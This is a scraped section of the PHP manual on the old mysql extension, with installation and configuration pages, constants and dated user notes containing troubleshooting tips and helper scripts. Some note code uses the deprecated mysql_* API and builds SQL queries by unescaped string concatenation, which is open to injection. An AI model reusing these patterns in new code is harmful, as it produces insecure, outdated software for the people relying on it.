    • mysql_list_tables — List tables in a MySQL database
    • mysql_num_fields — Get number of fields in result
    • mysql_num_rows — Get number of rows in result
    • mysql_pconnect — Open a persistent connection to a MySQL server
    • mysql_ping — Ping a server connection or reconnect if there is no connection
    • mysql_query — Send a MySQL query
    • mysql_real_escape_string — Escapes special characters in a string for use in an SQL statement
    • mysql_result — Get result data
    • mysql_select_db — Select a MySQL database
    • mysql_set_charset — Sets the client character set
    • mysql_stat — Get current system status
    • mysql_tablename — Get table name of field
    • mysql_thread_id — Return the current thread ID
    • mysql_unbuffered_query — Send an SQL query to MySQL without fetching and buffering the result rows.

User Contributed Notes

There are no user contributed notes for this page.
Choosing a library
Introduction
MySQL


Introduction

These functions allow you to access MySQL database servers. More information about MySQL can be found at » http://www.mysql.com/.

Documentation for MySQL can be found at » http://dev.mysql.com/doc/.

For an overview of MySQL database connectivity terms and products see Overview.

User Contributed Notes

There are no user contributed notes for this page.
Mysql
Installing/Configuring
Mysql


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Mysql


Requirements

In order to have these functions available, you must compile PHP with MySQL support.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

For compiling, simply use the --with-mysql[=DIR] configuration option where the optional [DIR] points to the MySQL installation directory.

Although this MySQL extension is compatible with MySQL 4.1.0 and greater, it doesn't support the extra functionality that these versions provide. For that, use the MySQLi extension.

If you would like to install the mysql extension along with the mysqli extension you have to use the same client library to avoid any conflicts.

Installation on Linux Systems

Note: [DIR] is the path to the MySQL client library files (headers and libraries), which can be downloaded from » MySQL.

ext/mysql compile time support matrix
PHP Version | Default | Configure Options: mysqlnd | Configure Options: libmysql | Changelog
4.x.x | libmysql | Not Available | --without-mysql to disable | MySQL enabled by default, MySQL client libraries are bundled
5.0.x, 5.1.x, 5.2.x | libmysql | Not Available | --with-mysql=[DIR] | MySQL is no longer enabled by default, and the MySQL client libraries are no longer bundled
5.3.x | libmysql | --with-mysql=mysqlnd | --with-mysql=[DIR] | mysqlnd is now available
5.4.x | mysqlnd | --with-mysql | --with-mysql=[DIR] | mysqlnd is now the default

Installation on Windows Systems

PHP 4

The PHP MySQL extension is compiled into PHP.

PHP 5.0.x, 5.1.x, 5.2.x

MySQL is no longer enabled by default, so the php_mysql.dll DLL must be enabled inside of php.ini. Also, PHP needs access to the MySQL client library. A file named libmysql.dll is included in the Windows PHP distribution and in order for PHP to talk to MySQL this file needs to be available to the Windows systems PATH. See the FAQ titled "How do I add my PHP directory to the PATH on Windows" for information on how to do this. Although copying libmysql.dll to the Windows system directory also works (because the system directory is by default in the system's PATH), it's not recommended.

As with enabling any PHP extension (such as php_mysql.dll), the PHP directive extension_dir should be set to the directory where the PHP extensions are located. See also the Manual Windows Installation Instructions. An example extension_dir value for PHP 5 is c:\php\ext

Note:

If when starting the web server an error similar to the following occurs: "Unable to load dynamic library './php_mysql.dll'", this is because php_mysql.dll and/or libmysql.dll cannot be found by the system.

PHP 5.3.0+

The MySQL Native Driver is enabled by default. Include php_mysql.dll, but libmysql.dll is no longer required or used.

MySQL Installation Notes

Warning

Crashes and startup problems of PHP may be encountered when loading this extension in conjunction with the recode extension. See the recode extension for more information.

Note:

If you need charsets other than latin (default), you have to install external (not bundled) libmysql with compiled charset support.

User Contributed Notes

Steve in Weston-Super-Mare 27-Jul-2011 10:55
I had problems when moving from a version of PHP that used the isapi dll to the fast cgi version. The script to register the script maps compained that there was already a script map in place.

I went to the IIS control panel, right clicked on websites and removed the php association in the Home Directory | Configuration screen.

However, the fastcgi script still complained about existing script map. Finally I tracked it down, I had to right click on Default Web Site and clear out the php mappings from there too.

Then it all worked, except that for some strange reason, the php.ini file that gets picked up is the one from my old PHP directory, not the latest upgrade one. But this can be detected by running phpinfo which shows the loaded php.ini file so I knew which one to amend with the fastcgi options.

Bit of a hassle to figure it all out but it does work in the end.
o dot kochetilov at gmail dot com 30-Apr-2011 12:39
Please note that libmySQL.dll in MySQL bin directory should be renamed in order to use right library (that comes with PHP).
buzzr515 at gmx dot de 03-Sep-2010 09:13
i've experienced a similar (if not the same) problem.

to enable the mysql_... and mysqli_... funtionality, i opened the php.ini file to uncomment the following lines:
;extension=php_mysql.dll
;extension=php_mysqli.dll
;extension=php_pdo_mysql.dll

but phpinfo() still stated that no mysql extensions were loaded.
i tried the fixes and suggestions above with no success.
so i invoked the windows shell and typed ("Path" environment variable set to the PHP & MySQL directories):
php.exe -m

this returned the following error: "PHP Startup: Unable to load dynamic library 'C:\php5\php_mysql.dll' - Module not found."

this told me that PHP didn't recognize what i thought was the extensions directory. it searched all other places first (sys-dir, workin'-dir, the MySQL "bin" dir because of the "Path" variable set, and even a curious directory "C:\php5" that doesn't even exist on my mashine) but not the expected "ext" directory.

so the fix was to go to "php.ini" again and uncomment the following line:
;extension_dir="ext"

this fixed it for me.
so if module loading is done improperly, first of all check the "Path" environment variable and the "php.ini" file - especially the "extension_dir" config value - and check if all values are set to their correct values.

hope this helps any1.

----------------------------------------
OS: Win7 Ultimate x86
Apache v2.2.16
PHP v5.3.3
MySQL v5.1.50
titus at antennasystems dot com 28-Jun-2010 10:00
I ran into the soon to be infamous problem of upgrading to PHP 5.3.x.
The way I found to resolve the issue was to

1: Do "mysql_upgrade" on the server (to make MySQL compliant with MySQL 4.1+).

2: Modify my.cf to not use old passwords:
(Just comment out "old_passwords=1")
#old_passwords=1

3: Change the root password so you can properly connect to the server:
SET PASSWORD FOR 'root'@'localhost' = PASSWORD('enter_new_password_here');

http://dev.mysql.com/doc/refman/5.1/en/old-client.html
http://tinyurl.com/mysql-old-password

Taken from http://www.comsiteconstruction.com/blueonyx-modifications
samishiikihaku23 at gmail dot com 17-Jun-2010 11:36
I've checked all the 5.3 distribution files from http://windows.php.net/ for the "libmysql.dll" file that this article claims is in the distributions.

None of the 5.3 dist. supplies "libmysql.dll". Download the recent 5.2 release for the file.
heneryville at gmail dot com 30-Apr-2010 01:32
I believe that this is happens especially with Windows 7.  As far I I've been able to tell XP and Vista come with this line enabled, but windows 7 comments it out and notes that the DNS will handle this.
jez300 09-Mar-2010 05:34
Windows 7 / Vista:

This took me hours to realise... If you receive the message:
Warning: mysql_connect(): [2002] A connection attempt failed because the connected party did not (trying to connect via tcp://localhost:3306)

You may need to map localhost to your IP address (127.0.0.1) which is used to find your Mysql server.

Edit {systemdrive}:\Windows\System32\drivers\etc

Make sure "127.0.0.1       localhost" isn't commented out with # at the begining of the line!

-----

You may also like to know that if you change from MySQL 32 bit to 64 bit and the Mysql service wont start you may need to rename or delete your Mysql data
{systemdrive}:\ProgramData\x MySQL\MySQL Server 5.1\data

Regards,

Jez.
amatsak at gmail dot com 22-Jun-2009 02:46
I have experienced exactly the same problem as flo_stefi at yahoo dot com below. It appears that instead of loading libmysql.dll that came with the PHP package, the PHP engine was loading libmySQL.dll located in MySQL's bin directory, which was causing Apache to crash.

I fixed the problem by renaming MySQL's libmySQL.dll into libmySQL_renamed.dll. Now PHP loads the library that came with its package and everything works fine.
flo_stefi at yahoo dot com 01-Apr-2009 04:10
I had a problem to make mysql work with php on Windows. Using mysql-5.1.32-win32 and php-5.2.9-1-win32-installer I've installed mysql and php. All seemed to be ok (phpinfo displayed the right information) but when running a basic script mysql_connect(..) the apache ends with a stupid error like "[Wed Apr 01 14:44:05 2009] [notice] Parent: child process exited with status 3221225477 -- Restarting.".
I manage to fix it by using instead of libMySQL.dll from mysql package another version (libmysql.dll) I had from a previous installation.
lobbanhousehold at gmail dot com 11-Feb-2009 07:05
I figured my problem why php and mysql weren't working together even though they worked independent of each other. PHP was configured with IIS 5.1 (XP) using the php5isapi.dll file.

I also set system variables in PATH adding the locations of both php and mysql folders. I also moved the mysql DLL files from ext folder to the root folder of php.

I discovered that php would not work with mysql if php folder was not located on the C:\ (i.e. C:\php). I also renamed the libmysql.dll that came with mysql so that the system would not see it, and moved the one that came with php to C:\WINDOWS\system32.

After I did this last paragraph i was able to see MySQL and MySQLi sections listed in phpinfo() which indicates MySQL is finally enabled
admin at kobashicomputing dot com 01-Nov-2008 11:02
Unfortunately this one bit me for a good half day.

Placing libmysql.dll in the php/ext directory did not work. I tested this under 5.6.2. You need to have it somewhere in the PATH or in SYSTEM or SYSTEM32. But to me this is very silly to force the user to have to setup environment variables or move DLLs around. It shouldn't have to go that far and be the responsibility of the setup program and/or developer.

I really think this issue could be solved doing this:
1) Installer/distribution bundle all three files together under one directory (ext) - php_mysql.dll/php_mysqli.dll/libmysql.dll

2) Developer goes into php_mysql.dll/php_mysqli.dll and in DllMain() on DLL_PROCESS_ATTACH:
  LoadLibrary ("./libmysql.dll");

Then you don't have to deal with this problem and neither do your users.

Kerry Kobashi
rogerc at clubsites dot net 20-Jul-2008 07:05
This error also occurs if the windows path entry for an older version of MYSQL appears before the path entry for a late version of php.  In which case the version of libmysl.dll in the MySQL bin directory will be found before the one bundled with php.  Reversing the system path entries so php is first fixes this problem.  e.g.
PATH= ...  c:\php;C:\Program Files\MySQL\MySQL Server 4.1\bin
Mahesh 13-Jun-2008 02:37
In windows systems, the error "unable to load dynamic library php_mysql.dll" also happens if there's an old version of the file libmysql.dll in the "windows\system32" folder.
jonnus 12-May-2008 05:42
In windows systems, the same error "unable to load dynamic library php_mysql.dll" will happen, if there's an old version of the file in the "windows\system32" folder.
Either remove it or update it.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

MySQL Configuration Options
Name | Default | Changeable | Changelog
mysql.allow_local_infile | "1" | PHP_INI_SYSTEM |
mysql.allow_persistent | "1" | PHP_INI_SYSTEM |
mysql.max_persistent | "-1" | PHP_INI_SYSTEM |
mysql.max_links | "-1" | PHP_INI_SYSTEM |
mysql.trace_mode | "0" | PHP_INI_ALL | Available since PHP 4.3.0.
mysql.default_port | NULL | PHP_INI_ALL |
mysql.default_socket | NULL | PHP_INI_ALL | Available since PHP 4.0.1.
mysql.default_host | NULL | PHP_INI_ALL |
mysql.default_user | NULL | PHP_INI_ALL |
mysql.default_password | NULL | PHP_INI_ALL |
mysql.connect_timeout | "60" | PHP_INI_ALL | PHP_INI_SYSTEM in PHP <= 4.3.2. Available since PHP 4.3.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

mysql.allow_local_infile integer

Allow accessing, from PHP's perspective, local files with LOAD DATA statements

mysql.allow_persistent boolean

Whether to allow persistent connections to MySQL.

mysql.max_persistent integer

The maximum number of persistent MySQL connections per process.

mysql.max_links integer

The maximum number of MySQL connections per process, including persistent connections.

mysql.trace_mode boolean

Trace mode. When mysql.trace_mode is enabled, warnings for table/index scans, non free result sets, and SQL-Errors will be displayed. (Introduced in PHP 4.3.0)

mysql.default_port string

The default TCP port number to use when connecting to the database server if no other port is specified. If no default is specified, the port will be obtained from the MYSQL_TCP_PORT environment variable, the mysql-tcp entry in /etc/services or the compile-time MYSQL_PORT constant, in that order. Win32 will only use the MYSQL_PORT constant.

mysql.default_socket string

The default socket name to use when connecting to a local database server if no other socket name is specified.

mysql.default_host string

The default server host to use when connecting to the database server if no other host is specified. Doesn't apply in SQL safe mode.

mysql.default_user string

The default user name to use when connecting to the database server if no other name is specified. Doesn't apply in SQL safe mode.

mysql.default_password string

The default password to use when connecting to the database server if no other password is specified. Doesn't apply in SQL safe mode.

mysql.connect_timeout integer

Connect timeout in seconds. On Linux this timeout is also used for waiting for the first answer from the server.

User Contributed Notes

frodenius 23-Aug-2008 10:19
you can also easily work around the issue if you simply create a symbolic link to the socket by executing the following in terminal:

sudo mkdir /var/mysql
sudo ln -s /tmp/mysql.sock /var/mysql/mysql.sock

[EDIT BY danbrown AT php DOT net: Typo spotted by (asterizk AT me DOT com) - "should probably say 'sudo ln -s ...'"]
JM 26-Apr-2008 09:14
mysql_default_socket can take a filename as the argument.  By default--at least with the default configuration provided by Mac OS X 10.5--it is /var/mysql/mysql.sock.  If necessary, you can edit your php.ini to change it to /tmp/mysql.sock.
Installation
Resource Types
Installing/Configuring


Resource Types

There are two resource types used in the MySQL module. The first one is the link identifier for a database connection, the second a resource which holds the result of a query.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Since PHP 4.3.0 it is possible to specify additional client flags for the mysql_connect() and mysql_pconnect() functions. The following constants are defined:

MySQL client constants
Constant | Description
MYSQL_CLIENT_COMPRESS | Use compression protocol
MYSQL_CLIENT_IGNORE_SPACE | Allow space after function names
MYSQL_CLIENT_INTERACTIVE | Allow interactive_timeout seconds (instead of wait_timeout ) of inactivity before closing the connection.
MYSQL_CLIENT_SSL | Use SSL encryption. This flag is only available with version 4.x of the MySQL client library or newer. Version 3.23.x is bundled both with PHP 4 and Windows binaries of PHP 5.

The function mysql_fetch_array() uses a constant for the different types of result arrays. The following constants are defined:

MySQL fetch constants
Constant | Description
MYSQL_ASSOC | Columns are returned into the array having the fieldname as the array index.
MYSQL_BOTH | Columns are returned into the array having both a numerical index and the fieldname as the array index.
MYSQL_NUM | Columns are returned into the array having a numerical index to the fields. This index starts with 0, the first field in the result.

User Contributed Notes

frak at gingerhq dot net 30-Jun-2011 11:06
If you're using stored procedures and mysql_error() returns "PROCEDURE storedProcedureName can't return a result set in the given context", you need to pass an additional flag (CLIENT_MULTI_RESULTS) to mysql_connect() as such:
mysql_connect($hostname, $username, $password, true, 131072);

Some other sources say that you should use 65536. 65536 is actually the flag to allow multiple statements in a single mysql_query(), and is a security issue. The reason it allows you to receive results from stored procedures is because it implies 131072. To be safe, use 131072 over 65536.
pcdinh at phpvietnam dot net 13-Feb-2010 12:54
Other client flags extracted from MySQL client source

#define CLIENT_LONG_PASSWORD 1 /* new more secure passwords */
#define CLIENT_FOUND_ROWS 2 /* Found instead of affected rows */
#define CLIENT_LONG_FLAG 4 /* Get all column flags */
#define CLIENT_CONNECT_WITH_DB 8 /* One can specify db on connect */
#define CLIENT_NO_SCHEMA 16 /* Don't allow database.table.column */
#define CLIENT_COMPRESS 32 /* Can use compression protocol */
#define CLIENT_ODBC 64 /* Odbc client */
#define CLIENT_LOCAL_FILES 128 /* Can use LOAD DATA LOCAL */
#define CLIENT_IGNORE_SPACE 256 /* Ignore spaces before '(' */
#define CLIENT_PROTOCOL_41 512 /* New 4.1 protocol */
#define CLIENT_INTERACTIVE 1024 /* This is an interactive client */
#define CLIENT_SSL 2048 /* Switch to SSL after handshake */
#define CLIENT_IGNORE_SIGPIPE 4096 /* IGNORE sigpipes */
#define CLIENT_TRANSACTIONS 8192 /* Client knows about transactions */
#define CLIENT_RESERVED 16384 /* Old flag for 4.1 protocol */
#define CLIENT_SECURE_CONNECTION 32768 /* New 4.1 authentication */
#define CLIENT_MULTI_STATEMENTS 65536 /* Enable/disable multi-stmt support */
#define CLIENT_MULTI_RESULTS 131072 /* Enable/disable multi-results */
#define CLIENT_REMEMBER_OPTIONS (((ulong) 1) << 31)
Contact at LinuxIntro dot com 27-Oct-2008 09:33
When you connect and expect to use a stored procedure,you must pass a special flag to MySQL via the connect command, otherwise you will not get the results returned, and it will result in this error:
PROCEDURE AlexGrim.GetStats_ForumCategories can't return a result set in the given context

To fix this, change you connection string, adding ",false,65536" as the last 2 fields:
$this->con = mysql_connect($this->h,$this->u,$this->p,false,65536);
Resource Types
Examples
Mysql


Examples

Table of Contents

  • MySQL extension overview example

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
MySQL extension overview example
Mysql


MySQL extension overview example

This simple example shows how to connect, execute a query, print resulting rows and disconnect from a MySQL database.

Example #1 MySQL extension overview example

<?php
// Connecting, selecting database
$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')
    or die('Could not connect: ' . mysql_error());
echo 'Connected successfully';
mysql_select_db('my_database') or die('Could not select database');

// Performing SQL query
$query = 'SELECT * FROM my_table';
$result = mysql_query($query) or die('Query failed: ' . mysql_error());

// Printing results in HTML
echo "<table>\n";
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    echo "\t<tr>\n";
    foreach ($line as $col_value) {
        echo "\t\t<td>$col_value</td>\n";
    }
    echo "\t</tr>\n";
}
echo "</table>\n";

// Free resultset
mysql_free_result($result);

// Closing connection
mysql_close($link);
?>

User Contributed Notes

Sz.abi 19-Feb-2009 03:26
You might want to do something like this to output the column names as well:

<?php
echo "<table border=\"1\">\n";
$line = mysql_fetch_array($result, MYSQL_ASSOC);
    echo "\t<tr>\n";
        echo "\t\t<th>#</th>\n";
    foreach (array_keys($line) as $col_value) {
        echo "\t\t<th>$col_value</th>\n";
    }
    echo "\t</tr>\n";
$i=0;
do  {
    echo "\t<tr>\n";
    $i++;
    echo "\t\t<th>$i</th>\n";
    foreach ($line as $col_value) {
        echo "\t\t<td>$col_value</td>\n";
    }
    echo "\t</tr>\n";
}while ($line = mysql_fetch_array($result, MYSQL_ASSOC));
echo "</table>\n";
?>

(Ok, here I also added line numbers; the main point of this post is using array_keys(...) to display the column names, and using a do {...} while (...); construct to read the first line only once).
Examples
MySQL Functions
Examples


MySQL Functions

Notes

Note:

Most MySQL functions accept link_identifier as the last optional parameter. If it is not provided, last opened connection is used. If it doesn't exist, connection is tried to establish with default parameters defined in php.ini. If it is not successful, functions return FALSE.

Table of Contents

  • mysql_affected_rows — Get number of affected rows in previous MySQL operation
  • mysql_client_encoding — Returns the name of the character set
  • mysql_close — Close MySQL connection
  • mysql_connect — Open a connection to a MySQL Server
  • mysql_create_db — Create a MySQL database
  • mysql_data_seek — Move internal result pointer
  • mysql_db_name — Retrieves database name from the call to mysql_list_dbs
  • mysql_db_query — Selects a database and executes a query on it
  • mysql_drop_db — Drop (delete) a MySQL database
  • mysql_errno — Returns the numerical value of the error message from previous MySQL operation
  • mysql_error — Returns the text of the error message from previous MySQL operation
  • mysql_escape_string — Escapes a string for use in a mysql_query
  • mysql_fetch_array — Fetch a result row as an associative array, a numeric array, or both
  • mysql_fetch_assoc — Fetch a result row as an associative array
  • mysql_fetch_field — Get column information from a result and return as an object
  • mysql_fetch_lengths — Get the length of each output in a result
  • mysql_fetch_object — Fetch a result row as an object
  • mysql_fetch_row — Get a result row as an enumerated array
  • mysql_field_flags — Get the flags associated with the specified field in a result
  • mysql_field_len — Returns the length of the specified field
  • mysql_field_name — Get the name of the specified field in a result
  • mysql_field_seek — Set result pointer to a specified field offset
  • mysql_field_table — Get name of the table the specified field is in
  • mysql_field_type — Get the type of the specified field in a result
  • mysql_free_result — Free result memory
  • mysql_get_client_info — Get MySQL client info
  • mysql_get_host_info — Get MySQL host info
  • mysql_get_proto_info — Get MySQL protocol info
  • mysql_get_server_info — Get MySQL server info
  • mysql_info — Get information about the most recent query
  • mysql_insert_id — Get the ID generated in the last query
  • mysql_list_dbs — List databases available on a MySQL server
  • mysql_list_fields — List MySQL table fields
  • mysql_list_processes — List MySQL processes
  • mysql_list_tables — List tables in a MySQL database
  • mysql_num_fields — Get number of fields in result
  • mysql_num_rows — Get number of rows in result
  • mysql_pconnect — Open a persistent connection to a MySQL server
  • mysql_ping — Ping a server connection or reconnect if there is no connection
  • mysql_query — Send a MySQL query
  • mysql_real_escape_string — Escapes special characters in a string for use in an SQL statement
  • mysql_result — Get result data
  • mysql_select_db — Select a MySQL database
  • mysql_set_charset — Sets the client character set
  • mysql_stat — Get current system status
  • mysql_tablename — Get table name of field
  • mysql_thread_id — Return the current thread ID
  • mysql_unbuffered_query — Send an SQL query to MySQL without fetching and buffering the result rows.

User Contributed Notes

Vladimir Kosmala 27-Oct-2010 07:57
Here a mysql helper containing the main functions of the mysql extension. It's easy to understand for a beginner and quite useful because queries are secure. It understands what you want, just write your sql query. I called it mysql_magic.

<?php
// Examples
$nb_affected = mysql_magic('delete from users');
$nb = mysql_magic('select count(*) from users');
$one_row = mysql_magic('select * from users limit 1');
$all_rows = mysql_magic('select * from users where name = ?', 'John');
$id = mysql_magic('insert into users(name,rank) values(?,?)', 'Vincent', 3);
?>

<?php
// Usage: mysql_magic($query [, $arg...]);
function mysql_magic()
{
    global $dblink, $sqlhost, $sqluser, $sqlpass, $sqlbase;
    $narg = func_num_args();
    $args = func_get_args();

    if (!$dblink)
    {
        $dblink = mysql_connect( $sqlhost, $sqluser, $sqlpass );
        mysql_select_db( $sqlbase, $dblink );
    }

    $req_sql = array_shift($args);
    $req_args = $args;

    $req_query = mysql_bind($req_sql, $req_args);
    $req_result = mysql_query($req_query);

    if (!$req_result)
    {
        trigger_error(mysql_error());
        return false;
    }

    if (startsWith($req_sql, 'delete') || startsWith($req_sql, 'update'))
    {
        return mysql_affected_rows(); // -1 || N
    }
    else if (startsWith($req_sql, 'insert'))
    {
        return mysql_insert_id(); // ID || 0 || FALSE
    }
    else if (endsWith($req_sql, 'limit 1'))
    {
        return mysql_fetch_assoc($req_result); // [] || FALSE
    }
    else if (startsWith($req_sql, 'select count(*)'))
    {
        $line = mysql_fetch_row($req_result);
        return $line[0]; // N
    }
    else
    {
        return mysql_fetch_all($req_result); // [][]
    }
}

function mysql_bind($sql, $values=array())
{
    foreach ($values as &$value) $value = mysql_real_escape_string($value);
    $sql = vsprintf( str_replace('?', "'%s'", $sql), $values);
    return $sql;
}

function mysql_fetch_all($result)
{
    $resultArray = array();
    while(($resultArray[] = mysql_fetch_assoc($result)) || array_pop($resultArray));
    return $resultArray;
}

function startsWith($haystack,$needle,$case=false) {
    if($case){return (strcmp(substr($haystack, 0, strlen($needle)),$needle)===0);}
    return (strcasecmp(substr($haystack, 0, strlen($needle)),$needle)===0);
}

function endsWith($haystack,$needle,$case=false) {
    if($case){return (strcmp(substr($haystack, strlen($haystack) - strlen($needle)),$needle)===0);}
    return (strcasecmp(substr($haystack, strlen($haystack) - strlen($needle)),$needle)===0);
}
?>

Don't forget to set $sqlhost, $sqluser, $sqlpass and $sqlbase.

With help of :
mysql_bind : http://php.net/manual/en/function.mysql-real-escape-string.php#96391
mysql_fetch_all : http://php.net/manual/en/function.mysql-fetch-assoc.php#90030

trigger_error may be enhanced with this tip : http://php.net/manual/en/function.trigger-error.php#98910
Chris Parsons 29-May-2009 08:36
Here is a function for preventing a MySQL query timeout.

Add a temporary table to the database:

CREATE TABLE `temp_table` (
    `ID` DOUBLE ,
    `temp` BLOB
);

Call this function in every iteration of any long loops in your code (it will only be run at a maximum once every 15 seconds, regardless of how often the function is called):
<?php

//insert and delete something from the temp_table table to prevent a timeout
function preventMySQLTimeout()
{

    static $timeoutCounter = 0;

    if(time() - $timeoutCounter > 15)
    {
        //perform 3 types of operations to keep the connection from timing out! :-)
        mysql_query("SELECT * FROM temp_table");    //SELECT
        mysql_query("DELETE FROM temp_table");    //DELETE
        mysql_query("INSERT INTO temp_table (temp) VALUES ('" . rand(1,200000) . "')"); //INSERT

        $timeoutCounter = time();

        echo "\n<br>preventMySQLTimeout() ATTEMPT\n<br>";
    }
}
?>

MySQL has multiple timeout counters, one for inserts, and one for deletes, and I could not find a way to extend them in PHP.  Please note that this is a different issue entirely than the 'connect' timeout.  Every 15 seconds, this function will insert, select, and delete a row from the temporary table, thus preventing a query timeout.

Good Luck!
joachimb at gmail dot com 16-May-2008 02:28
Lazy Man's Logging:

<?php
  /// Creates a table called $table as (id, when, message) if none such exists, and inserts a row with $message in it.
  /// If no connection details are given, it uses the current database connection. Same goes for $database and $when.
  ///
  /// @returns TRUE on success or FALSE on failure.
  ///
  /// @example mysql_put_contents("orders", "I CAN HAZ CHEEZBURGER?", "mysite", NULL, "127.0.0.1:3306", "mysite_user", "secret") or die(mysql_error());
  /// @example mysql_put_contents("guestbook", "Longcat says: I'm loooooooooooong") or die("Errorz!");
  function mysql_put_contents($table, $message, $database = NULL, $when = NULL, $host = NULL, $user = NULL, $pass = NULL) {
    if($host)
        mysql_connect($host, $user, $pass);
      if($database)
        mysql_select_db($database);

      $qry = "CREATE TABLE IF NOT EXISTS `$table` (
             `id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
             `when` TIMESTAMP DEFAULT NOW(),
             `message` TEXT NOT NULL
           );";
    $result = mysql_query($qry);
    if($result === FALSE)
      return FALSE;

    $qry = "INSERT INTO `$table` VALUES(NULL, ".($when ? $when : 'NULL').", '".mysql_real_escape_string($message)."');";

    $result = mysql_query($qry);
    if($result === FALSE)
      return FALSE;

    return TRUE;
  }

?>
dhirendrak at yahoo dot com 04-Feb-2008 11:03
<?php
# Created by dhirendra can be reached at dhirendrak at yahoo dot com
# This script is created to check the data difference between two tables
# when the structure of both tables are same.
# Limitation :
# 1) Structure of both tables should be same.
# 2) Name of both table should be different but if same than obviously
# second table should be if different database.
# 3) If use two database than both database permission should be same
# as i am using aliases to get the information.
#
# USES::
# 1) This may be useful when you did some changes in your existing
# script and you expect the certain output. So with the help of this
#    function you may compare the impact due to your changes in script.
#
#

$host="";        # host name or ip address
$user="";            # database user name
$pass="";    # database password
$database="";        # dateabase name with which you want to connect

# get connection with mysql
$dblink = @mysql_connect($host,$user,$pass);

# select and open database
mysql_select_db($database,$dblink);

$db1="< your db1 >"; // first database
// second database if database are same for both tables than use the same as db1
$db2="< your db2 >";
$table1="< your table1 >"; // first table
// second table if database is same for both tables than table name
# must be different but fields name are same and order of the fields are same.

$table2="< your table2 >";

// function starts here
function table_data_difference($first,$second)
{
    global $dblink;
    $sql1 = "SHOW FIELDS FROM $first";
    $result = mysql_query($sql1,$dblink) or die("Having error in execution 1 ==".mysql_error());

    while($row = mysql_fetch_object($result))
    {
        $from_fields[]=$row->Field;
    }

    $sql="select * from $first";
    $res=mysql_query($sql,$dblink) or die("Having error in execution 2==".mysql_error());
    $j=1;
    while($row=mysql_fetch_array($res))
    {

        $num=count($from_fields);

        $sql_next="select $second.* from $second where";

        for($i=0;$i < $num;$i++)
        {
            $sql_next=$sql_next." ".$second.".".$from_fields[$i]."='".$row[$from_fields[$i]]."' and ";
        }

        $sql_next=substr($sql_next,0,strlen($sql_next)-5);

        $res_next=mysql_query($sql_next,$dblink) or die("Having error in execution 3==".mysql_error());
        $num1=mysql_num_rows($res_next);
        if($num1==0)
        {
            for($i=0;$i < count($from_fields);$i++)
            {
                $val=$val."<br>".$from_fields[$i]."=".$row[$from_fields[$i]];
            }
            // Display the record which are not matched.
            echo "<br>\n".$j.".".$val;
            echo "<br>-----------------------------------------------------";
            $j++;
        }

    }

}

$first=$db1.'.'.$table1;
$second=$db2.'.'.$table2;

table_data_difference($first,$second);

?>
matiyahoo-publico at yhoo dot com dot ar 17-Nov-2007 08:26
David:

In this line:

$query = "SELECT username FROM users WHERE username REGEXP '$username[0-9*]'";

PHP may read $username[, *including* the open square bracket, and may think you are trying to get into an array.

You should use this instead:

$query = "SELECT username FROM users WHERE username REGEXP '${username}[0-9*]'";

Or maybe this:

$query = "SELECT username FROM users WHERE username REGEXP '$username" . "[0-9*]'";
david at kiwi dot com 09-Nov-2007 08:13
I am wanting to increment usernames which are to be alphabetic characters A-Z or a-z and if someone uses "abc" it will automatically be given "abc1" and the next applicant to apply for that same username will automatically be given "abc2", the next "abc3" and so on. If I enter the following into MySQL;

SELECT username FROM users WHERE username REGEXP 'abc[0-9*]';

the result is

abc1
abc2
abc3

I have been given the following script from another forum but it does not work;

<?php
$username = 'abc';
$query = "SELECT username FROM users WHERE username LIKE '$username%'";
$res = mysql_query($query);
while($row = mysql_fetch_assoc($res)) {
   $n = str_replace($username, '', $row['username']);
   if ($old_n+1!=$n) {
      $new_user = $username . ($old_n+1);
      break;
   }
}
?>

In addition to the script not working the "LIKE" function would not be suitable because if a username was applied as "blue" it would pick up usernames "blue1" and "bluebird1" therefore it appears as if "REGEXP '$username[0-9*]' is the only or correct option.

I have tried the REGEXP option in association with the balance of the code but it appears as if PHP will not interact with the "[" and "]" in the following;

$query = "SELECT username FROM users WHERE username REGEXP '$username[0-9*]'";
SID TRIVEDI 07-Nov-2007 04:33
<?php
/*
MySQL (Community) Server Installation on 32-bit Windows XP running Apache

On Windows, the recommended way to run MySQL is to install it as a Windows service, whereby MySQL starts and stops automatically when Windows starts and stops. A MySQL server installed as a service can also be controlled from the command line commands, or with the graphical Services utility like phpMyAdmin.

PHP ---> MySQL CONNECTORS (php_mysql.dll and php_mysqli.dll as extensions)
MySQL provides the mysql and mysqli extensions for the Windows operating system on http://dev.mysql.com/downloads/connector/php/ for MySQL version 4.1.16 and higher, MySQL 5.0.18, and MySQL 5.1. As with enabling any PHP extension in php.ini (such as php_mysql.dll), the PHP directive extension_dir should be set to the directory where the PHP extensions are located.

MySQL is no longer enabled by default, so the php_mysql.dll DLL must be enabled inside of php.ini. Also, PHP needs access to the MySQL client library. A file named libmysql.dll is included in the Windows PHP distribution and in order for PHP to talk to MySQL this file needs to be available to the Windows systems PATH.

Following PHP Script is useful to test PHP connection with MySQL.
*/

//$connect = mysql_connect("Your Host Name", "MySQL root directory", 'MySQL password, if any');
//$connect = mysql_connect("Host Name or Address - 127.0.0.1", "root", 'password');
$connect = mysql_connect("localhost", "root", 'password');
if ($connect){
echo "Congratulations!\n<br>";
echo "Successfully connected to MySQL database server.\n<br>";
}else{
$error = mysql_error();
echo "Could not connect to the database. Error = $error.\n<br>";
exit();
}

// Closing connection
$close = mysql_close($connect);
if ($close){
echo "\n<br>";
echo "Now closing the connection...\n<br>";
echo "MySQL connection closed successfully as well.\n<br>";
}else{
echo "There's a problem in closing MySQL connection.\n<br>";
}
exit();
?>
rad14701 at yahoo dot com 14-Oct-2007 12:01
@Amanda 12-Oct-2007 09:58

